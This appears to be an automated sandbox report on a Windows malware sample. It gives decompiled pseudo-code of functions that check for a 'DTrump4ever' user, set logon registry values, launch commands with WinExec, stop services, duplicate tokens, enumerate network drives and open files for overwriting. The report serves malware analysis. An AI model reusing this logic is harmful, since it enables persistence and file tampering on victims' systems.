            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: Service$Open$CloseHandleProcess$ConditionControlDeleteInfoManagerMaskTerminateVerifyVersion
            • String ID: ServicesActive
            • API String ID: 3848605446-3071072050
            • Opcode ID: 4a3083c7e6c1271856aab27357ac65c720f9951c7d199aff88906b26cbc9ecff
            • Instruction ID: 72bf1347e8090ff12a72f420ce811371bc411d3f5eb02d3863ef842e479aa79f
            • Opcode Fuzzy Hash: 4a3083c7e6c1271856aab27357ac65c720f9951c7d199aff88906b26cbc9ecff
            • Instruction Fuzzy Hash: A841B376600205EBEB319FA4DC88EAF7BBDEB45798F148039FA05EA148DB7195148B21
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 76%
            			E01364A28(signed int __edx, void* _a4, struct HDC__* _a8, WCHAR* _a12) {
            				long _v8;
            				intOrPtr _v14;
            				intOrPtr _v18;
            				intOrPtr _v22;
            				void _v24;
            				signed int _v30;
            				signed int _v32;
            				signed short _v40;
            				intOrPtr _v44;
            				char _v48;
            				int _t45;
            				signed int _t48;
            				void* _t57;
            				long _t63;
            				void* _t64;
            				int _t80;
            				int _t83;
            				void* _t84;
            				signed int _t96;
            				void* _t104;
            				int _t106;
            				void* _t107;
            
            				_t96 = __edx;
            				_push( &_v48);
            				_t106 = 0x18;
            				_t45 = GetObjectW(_a4, _t106, ??);
            				if(_t45 != 0) {
            					_t48 = _v30 * _v32 & 0x0000ffff;
            					if(_t48 != 1) {
            						_t83 = 4;
            						if(_t48 <= _t83) {
            							L9:
            							_push(0x28 + (1 << _t83) * 4);
            							L10:
            							_t107 = LocalAlloc(0x40, ??);
            							 *_t107 = 0x28;
            							 *((intOrPtr*)(_t107 + 4)) = _v44;
            							 *(_t107 + 8) = _v40;
            							 *((short*)(_t107 + 0xc)) = _v32;
            							 *((short*)(_t107 + 0xe)) = _v30;
            							_t57 = 0x18;
            							if(_t83 < _t57) {
            								 *(_t107 + 0x20) = 1 << _t83;
            							}
            							asm("cdq");
            							 *((intOrPtr*)(_t107 + 0x10)) = 0;
            							 *((intOrPtr*)(_t107 + 0x24)) = 0;
            							_t63 = ( *((intOrPtr*)(_t107 + 4)) + 7 + (_t96 & 0x00000007) >> 3) * (_t83 & 0x0000ffff) *  *(_t107 + 8);
            							 *(_t107 + 0x14) = _t63;
            							_t64 = GlobalAlloc(0, _t63);
            							_t84 = _t64;
            							if(_t84 == 0) {
            								L21:
            								return _t64;
            							} else {
            								_t64 = GetDIBits(_a8, _a4, 0,  *(_t107 + 8) & 0x0000ffff, _t84, _t107, 0);
            								if(_t64 == 0) {
            									goto L21;
            								}
            								_t64 = CreateFileW(_a12, 0xc0000000, 0, 0, 2, 0x80, 0);
            								_t104 = _t64;
            								if(_t104 == 0xffffffff) {
            									goto L21;
            								}
            								_v24 = 0x4d42;
            								_v22 =  *_t107 +  *(_t107 + 0x14) +  *(_t107 + 0x20) * 4 + 0xe;
            								_v18 = 0;
            								_v14 =  *_t107 +  *(_t107 + 0x20) * 4 + 0xe;
            								if(WriteFile(_t104,  &_v24, 0xe,  &_v8, 0) == 0 || WriteFile(_t104, _t107, 0x28 +  *(_t107 + 0x20) * 4,  &_v8, 0) == 0) {
            									_push(_t104);
            									goto L19;
            								} else {
            									_t80 = WriteFile(_t104, _t84,  *(_t107 + 0x14),  &_v8, 0);
            									_push(_t104);
            									if(_t80 != 0) {
            										E013651FE();
            										_t64 = GlobalFree(_t84);
            										goto L21;
            									}
            									L19:
            									_t64 = E013651FE();
            									goto L21;
            								}
            							}
            						}
            						_t83 = 8;
            						if(_t48 <= _t83) {
            							goto L9;
            						}
            						_t83 = 0x10;
            						if(_t48 <= _t83) {
            							goto L9;
            						}
            						if(_t48 > _t106) {
            							_t83 = 0x20;
            							goto L9;
            						}
            						_t83 = _t106;
            						_push(0x28);
            						goto L10;
            					}
            					_t83 = 1;
            					goto L9;
            				}
            				return _t45;
            			}

























            0x01364a28
            0x01364a32
            0x01364a35
            0x01364a3a
            0x01364a42
            0x01364a54
            0x01364a5a
            0x01364a62
            0x01364a66
            0x01364a86
            0x01364a93
            0x01364a94
            0x01364a9c
            0x01364aa0
            0x01364aa9
            0x01364aaf
            0x01364ab6
            0x01364abe
            0x01364ac2
            0x01364ac6
            0x01364acc
            0x01364acc
            0x01364ada
            0x01364ade
            0x01364ae3
            0x01364aec
            0x01364af2
            0x01364af5
            0x01364afb
            0x01364aff
            0x01364bd6
            0x00000000
            0x01364b05
            0x01364b14
            0x01364b1c
            0x00000000
            0x00000000
            0x01364b34
            0x01364b3a
            0x01364b3f
            0x00000000
            0x00000000
            0x01364b4a
            0x01364b60
            0x01364b65
            0x01364b73
            0x01364b89
            0x01364ba8
            0x00000000
            0x01364bab
            0x01364bb6
            0x01364bbc
            0x01364bbf
            0x01364bc9
            0x01364bd0
            0x00000000
            0x01364bd0
            0x01364bc1
            0x01364bc1
            0x00000000
            0x01364bc6
            0x01364b89
            0x01364aff
            0x01364a6a
            0x01364a6e
            0x00000000
            0x00000000
            0x01364a72
            0x01364a76
            0x00000000
            0x00000000
            0x01364a7b
            0x01364a85
            0x00000000
            0x01364a85
            0x01364a7d
            0x01364a7f
            0x00000000
            0x01364a7f
            0x01364a5c
            0x00000000
            0x01364a5c
            0x01364bdc

            APIs
            • GetObjectW.GDI32(?,00000018,?,00000000,?,?,?,?,?,01364EB2,?,00000000,00000000), ref: 01364A3A
            • LocalAlloc.KERNEL32(00000040,00000001,00000000,00000000,?,?,?,?,?,01364EB2,?,00000000,00000000), ref: 01364A96
            • GlobalAlloc.KERNEL32(00000000,?,?,?,?,?,?,01364EB2,?,00000000,00000000), ref: 01364AF5
            • GetDIBits.GDI32(00000000,?,00000000,?,00000000,00000000,00000000), ref: 01364B14
            • CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,01364EB2,?,00000000,00000000), ref: 01364B34
            • WriteFile.KERNEL32(00000000,?,0000000E,?,00000000,?,?,?,?,?,01364EB2,?,00000000,00000000), ref: 01364B81
            • WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,01364EB2,?,00000000,00000000), ref: 01364B9E
            • WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,?,?,01364EB2,?,00000000,00000000), ref: 01364BB6
            • GlobalFree.KERNEL32(00000000), ref: 01364BD0
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: File$Write$AllocGlobal$BitsCreateFreeLocalObject
            • String ID:
            • API String ID: 351847640-0
            • Opcode ID: 6d1901c18e5d2c7bb2f57c86a42a1afb386adea6b03f7ae3e6839fcc945c934a
            • Instruction ID: f0d166d3668b4deb7eb9ee87de2296283b8d1b085dfa537f3623fd53c92ee09c
            • Opcode Fuzzy Hash: 6d1901c18e5d2c7bb2f57c86a42a1afb386adea6b03f7ae3e6839fcc945c934a
            • Instruction Fuzzy Hash: 6951AE76A00209AFE730DF69D844FABBBFCEF48754F00851AEA95D7684E7709901CB64
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 69%
            			E0136465E(void* __eflags) {
            				int _v8;
            				long _v12;
            				char _v16;
            				short _v20;
            				char _v44;
            				char _v45;
            				char _v84;
            				short _v88;
            				char _v112;
            				short _v116;
            				char _v144;
            				short _v146;
            				short _v148;
            				char _v208;
            				short _v224;
            				short _v226;
            				char _v256;
            				short _v258;
            				char _v288;
            				short _v290;
            				char _v388;
            				short _v390;
            				char _v496;
            				short _v1020;
            				signed int _t71;
            				signed int _t87;
            				signed int _t94;
            				signed int _t99;
            				signed int _t115;
            				signed int _t130;
            				signed int _t148;
            				void* _t151;
            				void* _t152;
            				void* _t158;
            				signed int _t159;
            				signed int _t160;
            
            				_t148 = E0136580C();
            				E013658ED();
            				asm("sbb esi, esi");
            				_t160 =  ~_t159;
            				if(GetSystemMetrics(0x43) != 0) {
            					L17:
            					__eflags = 1;
            					return 1;
            				}
            				_v12 = 0x104;
            				if(GetUserNameW( &_v1020,  &_v12) != 0) {
            					_t71 = E01367734(0x600,  &_v1020, L"DTrump4ever");
            					_pop(_t151);
            					__eflags = _t71;
            					if(_t71 == 0) {
            						goto L2;
            					}
            					E013661FD(0x1370278, 0x304, 0x10, 0x6a,  &_v496);
            					_v390 = 0;
            					E013661FD(0x1370278, 0xf16, 0xb, 0x1e,  &_v288);
            					_v258 = 0;
            					E013661FD(0x1370278, 0xd14, 0x10, 0x1e,  &_v256);
            					_v226 = 0;
            					E013661FD(0x1370278, 0xda3, 0xb, 0x1c,  &_v144);
            					_v116 = 0;
            					_t87 = E013649D5(_t151, 0x80000002,  &_v496,  &_v144, 1, "1", 4);
            					__eflags = _t87;
            					if(_t87 == 0) {
            						goto L2;
            					}
            					_t94 = E013649D5(_t151, 0x80000002,  &_v496,  &_v256, 1,  &_v1020, 2 + E0136666B( &_v1020) * 2);
            					__eflags = _t94;
            					if(_t94 == 0) {
            						goto L2;
            					}
            					_t99 = E013649D5(_t151, 0x80000002,  &_v496,  &_v288, 1, L"DTrump4ever", 2 + E0136666B(L"DTrump4ever") * 2);
            					__eflags = _t99;
            					if(_t99 == 0) {
            						goto L2;
            					}
            					_t158 = E01365503(0,  &_v8);
            					E013661FD(0x1370278, 0xca3, 7, 0x62,  &_v388);
            					_v290 = 0;
            					E013661FD(0x1370278, 0xd6e, 0xd, 0x18,  &_v112);
            					_v88 = 0;
            					E013661FD(0x1370278, 0x1013, 0x10, 0x18,  &_v44);
            					_v20 = 0;
            					_t115 = E01365B1D(_t151, 0x80000002,  &_v388,  &_v112, 1, _t158, 2 + _v8 * 2);
            					_push(_t158);
            					__eflags = _t115;
            					if(_t115 != 0) {
            						E01364FA9();
            						_pop(_t152);
            						__eflags = _t148;
            						if(_t148 != 0) {
            							E01365FE8( &_v16);
            							_pop(_t152);
            						}
            						__eflags = _t160;
            						_push( &_v84);
            						_push(0x27);
            						_push(0xe);
            						if(_t160 == 0) {
            							_push(0xfd8);
            							_push(0x1370278);
            							E013661FD();
            							_v45 = 0;
            							WinExec( &_v84, 5);
            							E013661FD(0x1370278, 0x86f, 7, 0x4e,  &_v224);
            							_v146 = 0;
            							_v8 = lstrlenW( &_v224);
            							_t130 = E013649D5(_t152, 0x80000002,  &_v388,  &_v44, 1,  &_v224, 2 + _t125 * 2);
            						} else {
            							_push(0x5a1);
            							_push(0x1370278);
            							E013661FD();
            							_v45 = 0;
            							WinExec( &_v84, 5);
            							E013661FD(0x1370278, 0x5e6, 4, 0x3c,  &_v208);
            							__eflags = 0;
            							_v148 = 0;
            							_v8 = E0136666B( &_v208);
            							_t130 = E013649D5(_t152, 0x80000002,  &_v388,  &_v44, 1,  &_v208, 2 + _t140 * 2);
            						}
            						__eflags = _t130;
            						if(_t130 == 0) {
            							goto L2;
            						} else {
            							__eflags = _t148;
            							if(__eflags != 0) {
            								E0136600A(_v16);
            								_pop(_t152);
            							}
            							E01365A70(_t152, __eflags, 1);
            							goto L17;
            						}
            					}
            					E01364FA9();
            				}
            				L2:
            				return 0;
            			}







































            0x0136466f
            0x01364671
            0x01364680
            0x01364682
            0x0136468c
            0x0136494d
            0x0136494f
            0x00000000
            0x0136494f
            0x01364695
            0x013646ac
            0x013646c1
            0x013646c7
            0x013646c8
            0x013646ca
            0x00000000
            0x00000000
            0x013646e2
            0x013646e9
            0x01364701
            0x01364708
            0x01364720
            0x01364727
            0x0136473f
            0x01364749
            0x0136476a
            0x01364772
            0x01364774
            0x00000000
            0x00000000
            0x013647a6
            0x013647ae
            0x013647b0
            0x00000000
            0x00000000
            0x013647df
            0x013647e7
            0x013647e9
            0x00000000
            0x00000000
            0x013647fa
            0x01364811
            0x01364818
            0x01364831
            0x01364838
            0x0136484e
            0x01364858
            0x0136487a
            0x01364882
            0x01364883
            0x01364885
            0x01364892
            0x01364897
            0x01364898
            0x0136489a
            0x013648a0
            0x013648a5
            0x013648a5
            0x013648a9
            0x013648ab
            0x013648ac
            0x013648ae
            0x013648b5
            0x01364957
            0x0136495c
            0x0136495d
            0x01364965
            0x0136496f
            0x01364986
            0x01364990
            0x013649a4
            0x013649c8
            0x013648bb
            0x013648bb
            0x013648c0
            0x013648c1
            0x013648c9
            0x013648d3
            0x013648ea
            0x013648ef
            0x013648f1
            0x01364904
            0x01364928
            0x0136492d
            0x01364930
            0x01364932
            0x00000000
            0x01364938
            0x01364938
            0x0136493a
            0x0136493f
            0x01364944
            0x01364944
            0x01364947
            0x00000000
            0x0136494c
            0x01364932
            0x01364887
            0x0136488c
            0x013646ae
            0x00000000

            APIs
              • Part of subcall function 0136580C: GetNativeSystemInfo.KERNELBASE(?,?,?,?,01361AE1,00000000,00000000,?,00000000,?), ref: 01365816
            • GetSystemMetrics.USER32(00000043), ref: 01364684
            • GetUserNameW.ADVAPI32(?,?), ref: 013646A4
            • WinExec.KERNEL32(?,00000005), ref: 013648D3
            • WinExec.KERNEL32(?,00000005), ref: 0136496F
            • lstrlenW.KERNEL32(?), ref: 0136499E
              • Part of subcall function 013649D5: RegCreateKeyExW.ADVAPI32(0136D1E8,00000001,00000000,00000000,00000000,00000102,00000000,00000004,00000000,?,?,?,0136476F,80000002,?,?), ref: 013649F0
              • Part of subcall function 013649D5: RegSetValueExW.ADVAPI32(00000004,?,00000000,?,80000002,0136476F,?,?,?,0136476F,80000002,?,?,00000001,0136D1E8,00000004), ref: 01364A0A
              • Part of subcall function 013649D5: RegCloseKey.ADVAPI32(00000004,?,?,?,0136476F,80000002,?,?,00000001,0136D1E8,00000004), ref: 01364A1B
            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: ExecSystem$CloseCreateInfoMetricsNameNativeUserValuelstrlen
            • String ID: DTrump4ever
            • API String ID: 3862755133-3370855319
            • Opcode ID: 979d34d9554c7fcfdce839d37611595359ff31b46f5743dee631551bc672c97a
            • Instruction ID: 7156d413a166378a24cfe44ead3145ddb736c5f1abfc4d534bb34055fa4bf7d6
            • Opcode Fuzzy Hash: 979d34d9554c7fcfdce839d37611595359ff31b46f5743dee631551bc672c97a
            • Instruction Fuzzy Hash: 53918872E8021DBAFB21DBA8CC46FEE77BC9B14754F008066F604E6085EAB497548B71
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 16%
            			E01362D64(intOrPtr _a4, intOrPtr* _a8) {
            				intOrPtr _v12;
            				char _v20;
            				char* _t10;
            				intOrPtr* _t16;
            				intOrPtr* _t19;
            				void* _t22;
            				char* _t23;
            
            				_t10 =  &_v20;
            				__imp__#8(_t10);
            				__imp__#2(L"StopService");
            				_t19 = _a8;
            				_t23 = _t10;
            				_t22 =  *((intOrPtr*)( *_t19 + 0x10))(_t19, L"__PATH", 0,  &_v20, 0, 0);
            				if(_t22 >= 0) {
            					_t16 =  *((intOrPtr*)(_a4 + 0xc));
            					_t22 =  *((intOrPtr*)( *_t16 + 0x60))(_t16, _v12, _t23, 0, 0, 0, 0, 0);
            				}
            				__imp__#9( &_v20);
            				if(_t23 != 0) {
            					__imp__#6(_t23);
            				}
            				return _t22;
            			}










            0x01362d6a
            0x01362d71
            0x01362d7c
            0x01362d82
            0x01362d89
            0x01362d9b
            0x01362d9f
            0x01362da7
            0x01362db6
            0x01362db6
            0x01362dbc
            0x01362dc4
            0x01362dc7
            0x01362dc7
            0x01362dd5

            APIs
            • VariantInit.OLEAUT32(00000000), ref: 01362D71
            • SysAllocString.OLEAUT32(StopService), ref: 01362D7C
            • VariantClear.OLEAUT32(?), ref: 01362DBC
            • SysFreeString.OLEAUT32(00000000), ref: 01362DC7
            Strings
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: StringVariant$AllocClearFreeInit
            • String ID: StopService$__PATH
            • API String ID: 760788290-2572393790
            • Opcode ID: 6b7a2cbdd57a4c7436f92848c11bb55b5d143158dccd435dd72548e090fc6d72
            • Instruction ID: c9aedccb1e2d2e5aa6dc2f2b74d4bb542cfb84a84336240608609a5f36d0506c
            • Opcode Fuzzy Hash: 6b7a2cbdd57a4c7436f92848c11bb55b5d143158dccd435dd72548e090fc6d72
            • Instruction Fuzzy Hash: 900121B6B01218BFD7109BE5DC88CAB7BBCFF492A97418555F915D7204DA30DC018BB0
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 91%
            			E0136830D(void* __ecx, void* __eflags, intOrPtr _a4) {
            				void* _v8;
            				void* _v12;
            				short _v14;
            				char _v28;
            				short _v32;
            				char _v56;
            				void* __ebx;
            				void* _t25;
            				void* _t31;
            				int _t32;
            				signed int _t35;
            				signed int _t36;
            				int _t51;
            				void* _t57;
            				intOrPtr _t63;
            				void* _t64;
            				void* _t65;
            
            				_t57 = __ecx;
            				E013661FD(0x1371728, 0x6a0, 4, 0x18,  &_v56);
            				_v32 = 0;
            				_t64 = OpenProcess(0x2000000, 0, E01365600(_t57,  &_v56));
            				if(_t64 == 0) {
            					L4:
            					E01367805(_t57, _t73);
            					_t25 = E01364F5C(0xfffe);
            					_t65 = _t25;
            					if(_t65 == 0) {
            						return _t25;
            					}
            					E013661FD(0x1371728, 0x529, 0xc, 0xe,  &_v28);
            					_v14 = 0;
            					E013665C2(_t65,  &_v28);
            					_t63 = _a4;
            					while(1) {
            						_t31 = 0x5a;
            						_push(_t65);
            						if( *(_t65 + 8) > _t31) {
            							break;
            						}
            						_t32 = GetDriveTypeW();
            						__eflags = _t32 - 4;
            						if(_t32 == 4) {
            							 *0x1371f40 = 0;
            							E01367DA1(_t65, _t63);
            							_t35 =  *(_t65 + 8) & 0x0000ffff;
            							__eflags = _t35 - 0x61;
            							if(_t35 >= 0x61) {
            								__eflags = _t35 - 0x7a;
            								if(_t35 <= 0x7a) {
            									_t36 = _t35 & 0x0000ffdf;
            									__eflags = _t36;
            									 *(_t65 + 8) = _t36;
            								}
            							}
            						}
            						 *(_t65 + 8) =  *(_t65 + 8) + 1;
            						__eflags = 0;
            						 *((short*)(_t65 + 0xe)) = 0;
            					}
            					E01364FA9();
            					E013681AB(_t63, 1, 0);
            					E013681AB(_t63, 5, 0);
            					E013681AB(_t63, 2, 0);
            					RevertToSelf();
            					E01367C40(0, 0);
            					E013681AB(_t63, 1, 0);
            					E013681AB(_t63, 5, 0);
            					E013681AB(_t63, 3, 0);
            					E013681AB(_t63, 2, 0);
            					E013681AB(_t63, 4, 0);
            					return 1;
            				}
            				_t51 = OpenProcessToken(_t64, 6,  &_v8);
            				_t73 = _t51;
            				if(_t51 == 0) {
            					E013651FE(_t64);
            				}
            				DuplicateToken(_v8, 2,  &_v12);
            				E01367C40(0, _v12);
            				_pop(_t57);
            				goto L4;
            			}




















            0x0136830d
            0x01368329
            0x01368330
            0x0136834f
            0x01368353
            0x01368385
            0x01368385
            0x0136838f
            0x01368394
            0x01368399
            0x01368476
            0x01368476
            0x013683ad
            0x013683b4
            0x013683bd
            0x013683c2
            0x01368405
            0x01368407
            0x01368408
            0x0136840d
            0x00000000
            0x00000000
            0x013683ca
            0x013683d0
            0x013683d3
            0x013683d7
            0x013683dd
            0x013683e2
            0x013683e8
            0x013683eb
            0x013683ed
            0x013683f0
            0x013683f2
            0x013683f2
            0x013683f7
            0x013683f7
            0x013683f0
            0x013683eb
            0x013683fb
            0x013683ff
            0x01368401
            0x01368401
            0x0136840f
            0x01368418
            0x01368421
            0x0136842a
            0x0136842f
            0x01368435
            0x0136843e
            0x01368447
            0x01368453
            0x0136845c
            0x01368465
            0x00000000
            0x0136846f
            0x0136835c
            0x01368362
            0x01368364
            0x01368367
            0x0136836c
            0x01368376
            0x0136837f
            0x01368384
            0x00000000

            APIs
            • OpenProcess.KERNEL32(02000000,00000000,00000000,?,?,?,00000001,00000000,00000000), ref: 01368349
            • OpenProcessToken.ADVAPI32(00000000,00000006,?,?,?,?,00000001,00000000,00000000), ref: 0136835C
            • DuplicateToken.ADVAPI32(?,00000002,013638E2,?,?,?,00000001,00000000,00000000), ref: 01368376
            • GetDriveTypeW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 013683CA
              • Part of subcall function 013651FE: CloseHandle.KERNEL32(00000000,?,01367B64,00000000,?,01367BC3,?,00000000,?,01363793,?,00000000,00000000,01363928,00000000), ref: 0136520A
            • RevertToSelf.ADVAPI32(013638E2,00000002,00000000,013638E2,00000005,00000000,013638E2,00000001,00000000,00000000), ref: 0136842F
            Memory Dump Source
            • Source File: 00000001.00000002.916068522.0000000001361000.00000020.00020000.sdmp, Offset: 01360000, based on PE: true
            • Associated: 00000001.00000002.916043084.0000000001360000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916127088.000000000136D000.00000002.00020000.sdmp Download File
            • Associated: 00000001.00000002.916170442.0000000001370000.00000004.00020000.sdmp Download File
            • Associated: 00000001.00000002.916216880.0000000001373000.00000008.00020000.sdmp Download File
            • Associated: 00000001.00000002.916314805.0000000001380000.00000002.00020000.sdmp Download File
            Yara matches
            Similarity
            • API ID: OpenProcessToken$CloseDriveDuplicateHandleRevertSelfType
            • String ID:
            • API String ID: 529401157-0
            • Opcode ID: c0f0d94a655ed50a5b5cda9ab855d3747fccc565a9ef4bb6ca2f0afb1ab8ac5b
            • Instruction ID: 4f17f7221c951746f89bf18e8e88316fd7518c1e2a1e145d663fbbc277409943
            • Opcode Fuzzy Hash: c0f0d94a655ed50a5b5cda9ab855d3747fccc565a9ef4bb6ca2f0afb1ab8ac5b
            • Instruction Fuzzy Hash: 1631E9A6A4030AB9F2317B78DC86FBF76ACDF19B5CF10C465F601B5088DA648D4143B1
            Uniqueness

            Uniqueness Score: -1.00%

            C-Code - Quality: 69%
            			E013632D3(signed int __edx, void* __eflags, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
            				signed int _v8;
            				intOrPtr _v24;
            				char _v64;
            				char _v240;
            				void* __ebx;
            				void* __esi;
            				void* _t28;
            				long _t29;
            				void* _t34;
            				long _t35;
            				void* _t37;
            				void* _t38;
            				signed char _t42;
            				int _t43;
            				signed int _t47;
            				void* _t50;
            				intOrPtr _t53;
            				WCHAR* _t54;
            				signed int _t57;
            				signed int _t67;
            				signed int _t69;
            				void* _t72;
            				void* _t73;
            				intOrPtr* _t74;
            				intOrPtr _t77;
            				intOrPtr _t79;
            
            				_t66 = __edx;
            				_t69 = 1;
            				_t71 = E01367FCC(_a8, 0x80000000, 1, 3, 0);
            				_t74 = _t73 + 0x14;
            				if(_t26 == 0) {
            					L5:
            					_t79 = _a16;
            					_t53 = 0x100000;
            					if(_t79 <= 0 && (_t79 < 0 || _a12 < 0x100000)) {
            						_t53 = _a12;
            					}
            					_t70 = _a4;
            					_t8 = _t53 + 0x160; // 0x100160
            					_t28 = E01367BE1(_a4, _t8);
            					while(1) {
            						_t72 = _t28;
            						if(_t72 != 0) {
            							break;
            						}
            						_t29 = RtlGetLastWin32Error();
            						__eflags = _t29 - 8;
            						if(_t29 != 8) {
            							L15:
            							return 0;
            						}
            						E01365BD2(_t29, 0x64);
            						_t14 = _t53 + 0x160; // 0x100160
            						_t28 = E01367BE1(_t70, _t14);
            						_t74 = _t74 + 0xc;
            					}
            					_t57 = 3;
            					 *((intOrPtr*)(_t72 + 0x158)) = _t53;
            					_t54 = _a8;
            					_push(_t57);
            					 *((intOrPtr*)(_t72 + 0x154)) = 0;
            					 *((intOrPtr*)(_t72 + 0x150)) = 0;
            					_v8 = _t57;
            					_push(0);
            					while(1) {
            						_push(0xc0000000);
            						_push(_a16);
            						_push(_a12);
            						_push(_t54);
            						_push(_t72);
            						_t34 = E01367CF2();
            						_t74 = _t74 + 0x1c;
            						_t82 = _t34;
            						if(_t34 != 0) {
            							break;
            						}
            						_t35 = RtlGetLastWin32Error();
            						_t67 = _v8;
            						_t58 = _t67;
            						_t66 = _t67 - 1;
            						_v8 = _t67 - 1;
            						__eflags = _t67;
            						if(_t67 == 0) {
            							L26:
            							E01367BF5(_t70, _t72);
            							_t37 = 0;
            							L32:
            							return _t37;
            						}
            						__eflags = _t35 - 5;
            						if(_t35 != 5) {
            							__eflags = _t35 - 0x20;
            							if(__eflags == 0) {
            								_t38 = E01365DF8(_t54, _t58, _t66, _t72, __eflags, _t54);
            								 *_t74 = 0x3e8;
            								E01365BD2(_t38);
            							}
            							L29:
            							_push(3);
            							_push(0);
            							continue;
            						}
            						__eflags = E013678E2(_t58, _t54, 0);
            						if(__eflags == 0) {
            							break;
            						}
            						_t42 = GetFileAttributesW(_t54);
            						__eflags = _t42 - 0xffffffff;
            						if(_t42 == 0xffffffff) {
            							goto L26;
            						}
            						__eflags = _t42 & 0x00000001;
            						if((_t42 & 0x00000001) == 0) {
            							goto L29;
            						}
            						_t43 = SetFileAttributesW(_t54, 0x80);
            						__eflags = _t43;
            						if(_t43 != 0) {
            							goto L29;
            						}
            						goto L26;
            					}
            					E0136347D(_t66, _t82, _t72);
            					_t37 = _t72;
            					goto L32;
            				}
            				_t77 = _a16;
            				if(_t77 > 0 || _t77 >= 0 && _a12 >= 0xe8) {
            					E0136800B(_t71, 0xffffff18, 0xffffffff, 2);
            					_t47 = E01367FF2(_t71,  &_v240, 0xe8,  &_v8);
            					_t74 = _t74 + 0x20;
            					__eflags = _t47;
            					if(_t47 == 0) {
            						L12:
            						_t69 = 0;
            						L13:
            						E013651FE(_t71);
            						__eflags = _t69;
            						if(_t69 == 0) {
            							goto L5;
            						}
            						_t50 = E01366D80(0,  &_v64, 0x20);
            						_t74 = _t74 + 0xc;
            						__eflags = _v24 - _t50;
            						if(_v24 != _t50) {
            							goto L5;
            						}
            						goto L15;
            					}
            					__eflags = _v8 - 0xe8;
            					if(_v8 == 0xe8) {
            						goto L13;
            					}
            					goto L12;
            				} else {
            					E013651FE(_t71);
            					goto L5;
            				}
            			}





























            0x013632d3
            0x013632e6
            0x013632f5
            0x013632f7
            0x013632fc
            0x01363315
            0x01363315
            0x01363319
            0x0136331e
            0x01363327
            0x01363327
            0x0136332a
            0x0136332d
            0x01363335
            0x013633bc
            0x013633bc
            0x013633c0
            0x00000000
            0x00000000
            0x0136339b
            0x013633a0
            0x013633a3
            0x01363394
            0x00000000
            0x01363394
            0x013633a7
            0x013633ac
            0x013633b4
            0x013633b9
            0x013633b9
            0x013633c4
            0x013633c7
            0x013633cd
            0x013633d0
            0x013633d1
            0x013633d7
            0x013633dd
            0x013633e0
            0x01363450
            0x01363450
            0x01363455
            0x01363458
            0x0136345b
            0x0136345c
            0x0136345d
            0x01363462
            0x01363465
            0x01363467
            0x00000000
            0x00000000
            0x013633e3
            0x013633e8
            0x013633eb
            0x013633ed
            0x013633ee
            0x013633f1
            0x013633f3
            0x01363428
            0x0136342a
            0x01363430
            0x01363475
            0x00000000
            0x01363475
            0x013633f5
            0x013633f8
            0x01363434
            0x01363437
            0x0136343a
            0x0136343f
            0x01363446
            0x0136344b
            0x0136344c
            0x0136344c
            0x0136344e
            0x00000000
            0x0136344e
            0x01363404
            0x01363406
            0x00000000
            0x00000000
            0x01363409
            0x0136340f
            0x01363412
            0x00000000
            0x00000000
            0x01363414
            0x01363416
            0x00000000
            0x00000000
            0x0136341e
            0x01363424
            0x01363426
            0x00000000
            0x00000000
            0x00000000
            0x01363426
            0x0136346e
            0x01363473
            0x00000000
            0x01363473
            0x013632fe
            0x01363301
            0x01363348
            0x0136335e
            0x01363363
            0x01363366
            0x01363368
            0x01363373
            0x01363373
            0x01363375
            0x01363376
            0x0136337c
            0x0136337e
            0x00000000
            0x00000000
            0x01363387
            0x0136338c
            0x0136338f
            0x01363392
            0x00000000
            0x00000000
            0x00000000
            0x01363392
            0x0136336a
            0x01363371
            0x00000000
            0x00000000
            0x00000000
            0x0136330e
            0x0136330f
            0x00000000
            0x01363314

            APIs
              • Part of subcall function 01367FCC: CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000,?,01364566,00000000,40000000,00000000,00000002,00000000,00000000,00000000), ref: 01367FE2
            • RtlGetLastWin32Error.NTDLL ref: 0136339B
            • RtlGetLastWin32Error.NTDLL ref: 013633E3
